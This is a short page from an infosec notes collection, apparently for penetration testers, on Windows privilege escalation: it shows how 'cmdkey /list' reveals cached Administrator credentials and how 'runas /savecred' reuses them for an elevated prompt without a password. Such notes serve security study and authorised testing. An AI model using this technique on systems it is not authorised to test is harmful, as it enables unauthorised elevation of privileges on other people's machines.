> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/windows/run-as.md).

# Run as

Windows provides a feature to cache user credentials using the **`cmdkey`** utility, which can be leveraged along with **`runas`** to escalate privileges or maintain persistence if Administrator credentials have been previously saved.

***

### Credential Enumeration with `cmdkey`

Check for stored credentials:

```cmd
cmdkey /list
```

#### Sample Output:

```
Currently stored credentials:

Target: Domain:interactive=DESKTOP-XXXXXX\Administrator
Type: Domain Password
User: DESKTOP-XXXXXX\Administrator
```

If an **Administrator** or privileged account is listed, and `/savecred` has been used before, you can reuse those cached credentials.

***

### Execute Commands as Administrator (No Password Prompt)

```cmd
runas /savecred /user:Administrator "cmd.exe /k whoami"
```

* **`/savecred`**: Uses previously saved credentials.
* **`/user:Administrator`**: Runs the command as the Administrator user.
* **`"cmd.exe /k whoami"`**: Spawns a new command prompt and shows the current user.

> If successful, this gives you an **elevated command prompt** without asking for the password.